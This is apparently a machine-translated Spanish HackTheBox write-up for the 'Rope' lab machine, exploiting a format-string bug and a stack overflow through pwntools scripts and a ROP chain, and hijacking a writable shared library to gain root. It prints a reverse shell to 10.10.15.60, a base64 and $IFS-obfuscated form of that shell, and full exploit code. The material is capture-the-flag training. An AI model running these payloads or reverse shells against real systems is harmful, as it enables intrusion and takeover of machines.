Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .En este artículo, recopilamos muchos pwn, que resolveremos usando pwntools. Creo que será útil para lectores con cualquier nivel de conciencia sobre este tema. Vamos ... Laconexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos que son importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacional, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina tiene una dirección IP de 10.10.10.148, que agrego a / etc / hosts.10.10.10.148 rope.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.nmap -A rope.htb -p22,9999
El host ejecuta SSH y un servidor web. Iremos a la web y nos recibirá un formulario de autorización.
Al ver un escaneo de directorio, obtenemos un directorio no indexado / (http: //rope.htb: 9999 //).
Y en el directorio / opt / www encontramos el archivo ejecutable: este es nuestro servidor web.
HTTPserver PWN
Descárguelo y vea qué protección tiene checksec.
Por lo tanto, tenemos una aplicación de 32 bits con todas las protecciones activadas, a saber:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
Debido al hecho de que podemos leer archivos en el servidor, podemos leer el mapa de proceso de este archivo ejecutable. Esto nos dará la respuesta a las siguientes preguntas:- ¿A qué dirección se descarga el programa?
- ¿Y en qué dirección están cargadas las bibliotecas utilizadas por ella?
Vamos a hacer eso.curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
Por lo tanto, tenemos dos direcciones: 0x56558000 y f7ddc000. Al mismo tiempo, obtenemos la ruta a la biblioteca libc utilizada, también la descargamos. Ahora, teniendo en cuenta todo lo encontrado, haremos una plantilla de exploit.from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
Ahora abra el archivo para su análisis en un desensamblador conveniente para usted (con un descompilador). Utilizo IDA con un montón de complementos, y antes de sentarme para un análisis en profundidad, prefiero ver todo lo que puedo recopilar complementos probados. Uno de muchos es LazyIDA . Y para la consulta "scan format string vuln" obtenemos una placa con funciones potencialmente vulnerables.
Por la experiencia de usar este complemento, inmediatamente llamé la atención sobre la segunda línea (su parámetro de formato). Pasamos al lugar de uso de esta función y la descompilamos.
Y las conjeturas se confirman, la línea simplemente se pasa a la función printf. Veamos qué es esta cadena. Vayamos al lugar de la llamada a la función log_access.
Por lo tanto, estamos interesados en el tercer parámetro, que marcaba la IDA como archivo. Y obtenemos respuestas a todas las preguntas solo mirando referencias cruzadas a esta variable.
Por lo tanto, este es un puntero a una cadena: el nombre del archivo que se abre para leer. Dado que esta variable es el resultado de ejecutar la función parse_request (), el archivo se abre para lectura y todo el programa es un servidor web, podemos suponer que esta es la página solicitada en el servidor.curl http://127.0.0.1:9999/qwerty
Verifiquemos la vulnerabilidad de la cadena de formato.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
¡Multa! Determinemos el desplazamiento (cuántos especificadores% p deben enviarse para obtener 0x41414141 - AAAA al final de la salida).
Obtenemos 53. Verifique que todo esté correcto.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
No podemos obtener un shell local, pero podemos ejecutar un comando, por ejemplo, lanzar un shell inverso:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Pero para evitar caracteres incómodos, lo codificamos en base64, entonces la llamada de shell se verá así:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
Y al final, reemplace todos los espacios con la construcción $ IFS. Obtenemos el comando que debe ejecutar para volver a conectar.echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Agreguemos esto al código:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Ahora volvamos a nuestra cadena de formato. Como se llama putf después de printf (), podemos reescribir su dirección en GOT a la dirección de la función del sistema desde libc. Gracias a pwntools, esto es muy fácil de hacer. Suponga que puede obtener la dirección relativa de la función put utilizando binary.got ['put'], también fácilmente con el sistema: función libc.symbols ['system']. Acerca de las líneas de formato y GOT que describí en detalle en los artículos sobre pwn, así que aquí simplemente recopilamos la línea de formato usando pwntools:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Recopilamos la carga útil final:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
Nos conectamos y enviamos:p = remote(host,port)
p.send(payload)
p.close()
El código completo se ve así.
Ejecutemos el código y volvamos a conectarnos.

USUARIO
Verifiquemos la configuración de sudo para ejecutar comandos sin contraseña.
Y vemos que puede ejecutar registros de lectura en nombre del usuario r4j. No hay vulnerabilidades en la aplicación, los GTFOBins también están ausentes. Veamos las bibliotecas utilizadas por la aplicación.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
Es decir, podemos escribir en estos archivos. Escribamos nuestra biblioteca.#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Ahora compílalo.gcc -c -Wall -Werror -fpic liblog.c
Y recoge la biblioteca.Gcc -shared -o liblog.so liblog.o
Luego cargamos el archivo al host, sobrescribimos la biblioteca y ejecutamos el programa.
Entonces tomamos al usuario.RAÍZ
Para enumerar el sistema usamos linpeas.
Entonces, en el host local, el puerto 1337 está escuchando.
Como puede ver, nuestro usuario es miembro del grupo adm. Echemos un vistazo a los archivos disponibles para este grupo.
Hay un archivo interesante Y este es el programa que escucha en el puerto.
En este caso, la aplicación se ejecuta como root.
Descargue la aplicación en sí y la biblioteca libc que utiliza. Y tenga en cuenta que ASLR está activo en el host.
Compruebe qué protección tiene la aplicación.
Todo al máximo. Es decir, si encontramos un desbordamiento del búfer, necesitaremos eliminar el canario (el valor que se verifica antes de salir de la función para verificar la integridad del búfer), y como técnica para explotar la vulnerabilidad, usaremos ROP (sobre el cual escribí con cierto detalleaquí ) Abramos el programa en cualquier desensamblador con un descompilador que sea conveniente para usted (uso IDA Pro). Descompilamos la función principal main.
Un ejemplo de un canario es la variable v10, que se establece al comienzo de una función. Veamos de qué es responsable la función sub_1267.
Entonces aquí abrimos el puerto para escuchar. Puede cambiarle el nombre a is_listen (); vamos más allá La siguiente función definida por el usuario es sub_14EE.
Antes de enviar, hay otra función de usuario. La miramos a ella.
Por lo tanto, en esta función, se recibe una cadena de hasta 0x400 bytes y se escribe en el búfer. El comentario sobre la variable buf indica la dirección relativa a la base del marco de pila actual (rbp) - [rbp-40h], y la variable v3 (canario) tiene una dirección relativa [rbp-8h], por lo que para el desbordamiento del búfer necesitamos más [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 bytes.Por lo tanto, el plan es el siguiente:- encuentra y desborda el búfer;
- baja el canario, rbp y rip;
- Como PIE está activado, necesita encontrar el desplazamiento real;
- encuentre una pérdida de memoria para calcular la dirección en la que se carga la biblioteca;
- Recopile ROP, en el que la secuencia de descriptores estándar se redirigirá al descriptor de red del programa, y luego llame / bin / sh a través de la función del sistema.
1. desbordamiento de búfer
Como se puede ver a continuación, al transmitir 56 bytes, el programa continúa funcionando normalmente, pero al transmitir 57 bytes, obtenemos una excepción. Por lo tanto, se viola la integridad del búfer.
Hagamos una plantilla de exploit. Dado que será necesario ordenar y volver a conectar mucho, deshabilitaremos la salida de mensajes pwntools (log_level).
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canario, RBP, RIP
Como descubrimos, después de 56 bytes del búfer hay un canario, y después hay direcciones RBP y RIP en la pila, que también deben ser resueltas. Escribamos una función de coincidencia de 8 bytes.def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Entonces podemos componer pre_payload:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3 pastel
Ahora tratemos con PIE. Encontramos RIP: esta es la dirección de retorno donde regresamos de la función. Por lo tanto, podemos restarle la dirección de retorno en el código.
Por lo tanto, el desplazamiento desde la base es 0x1562. Indiquemos la dirección real de la aplicación en ejecución.base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4 fuga de memoria
La aplicación utiliza la función estándar write () para mostrar la cadena de solicitud, que lleva un identificador a la salida, un búfer y su tamaño. Podemos usar esta función.Por conveniencia, usemos el módulo ROP de pwntools. En resumen, cómo y por qué esto funciona se presenta en la imagen a continuación.
Hagamos una filtración, esto nos permitirá saber en qué dirección se encuentra la función de escritura en la biblioteca libc cargada.rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
Cambiemos la dirección base de la biblioteca libc y busquemos la dirección de la línea / bin / sh.libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
Queda por recopilar el ROP, en el cual los descriptores de E / S estándar (0,1,2) serán redirigidos al descriptor registrado en el programa (4). Después de lo cual se llamará a la función del sistema, donde pasaremos la dirección de la línea / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. OperaciónCódigo de explotación completo.
Ahora en el servidor, escriba la clave ssh en el archivo /home/r4j/.ssh/authorizef_keys.
Y reenvíe el puerto (asegúrese de que la conexión desde el puerto local 1337 se redirija a través de SSH al puerto 1337 del host remoto).ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
Y lanza el exploit.
Trabajamos bajo la raíz.Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Reúnamos una comunidad en la que habrá personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.